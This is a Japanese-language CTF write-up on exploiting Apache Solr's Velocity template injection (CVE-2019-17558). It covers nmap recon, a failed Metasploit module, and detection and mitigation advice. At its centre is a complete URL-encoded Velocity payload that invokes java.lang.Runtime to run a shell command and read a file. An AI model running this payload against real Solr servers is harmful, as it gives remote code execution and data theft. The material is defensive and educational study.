
Apache Solr における CVE-2019-17558 の悪用を解説した CTF write-up。偵察、Metasploit の制限、手動による Velocity テンプレートインジェクション、フラグの取得、および対策を扱っています。
Apache Solr の Velocity Template Injection 脆弱性を実際に調査し、自動化ツール(Metasploit)の失敗から手動によるエクスプロイト成功へと発展させる流れを解説します。
この攻略記事は、ツールの失敗の診断と手動エクスプロイトへの切り替え(ピボット)に焦点を当て、演習全体の思考プロセスを記録したものです。
| 項目 | 説明 |
|---|---|
| ターゲット | ポート8983でApache Solrを実行しているLinuxサーバー |
| 目的 | 機密ファイル(/home/favorite_book.txt)の内容を読み取る |
| 脆弱性 | CVE-2019-17558 (Velocity Response Writer を介した RCE) |
初期フェーズでは、ターゲットホスト上でアクティブなサービスを特定しました。
nmap -sV -p- <TARGET_IP>
結果。
novacollection を特定。管理パネルにアクセスすると、Solr のバージョンが Velocity Template Injection に対して脆弱であることが確認されました。
この脆弱性は、攻撃者が params.resource.loader.enabled 設定を true に変更できる場合に発生し、カスタム Velocity テンプレートの使用が可能になり、そこからサーバー上で任意の Java コードを実行できます。
最初に exploit/multi/http/solr_velocity_rce モジュールを使用しました。
このエクスプロイトは Solr の設定変更に成功しました。
[+] params.resource.loader.enabled is true for core 'novacollection'
しかし、ペイロード注入の最終段階は Ruby 実行エラーで失敗しました。
NoMethodError: undefined method 'body' for nil:NilClass
これは、環境が脆弱ですでに準備済みであるにもかかわらず、ツールがサーバーの応答を処理して攻撃を完了できなかったことを示しています。ターゲットが安全だったのではなく、モジュールのデリバリ方法を調整する必要があっただけです。
Metasploit によって Velocity Writer がすでに有効化されていたため、スクリプトのエラーを回避し、HTTP GET リクエストを介して手動で注入を実行しました。ターゲットファイルを読み取るコマンドを実行するために、java.lang.Runtime をインスタンス化する Velocity テンプレートが構築されました。
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
サーバー上で実際に実行されたコマンド。
cat /home/favorite_book.txt
注入は成功し、ファイルの内容が HTTP レスポンスボディに直接返され、ブラウザでレンダリングされてフラグを取得できました。
NoMethodError エラーはターゲットが安全であることを意味するのではなく、デリバリ方法の調整が必要だっただけです。params.resource.loader.enabled が無効のままであることを確認する。wt=velocity パラメータを使用した select エンドポイントへのリクエストを監視する。これは SIEM での検出シグネチャとして役立ちます。このリポジトリは、管理された環境(CTF)における学習の記録と教育を目的として作成されました。明示的な許可なくシステムに対してこれらの技術を使用しないでください。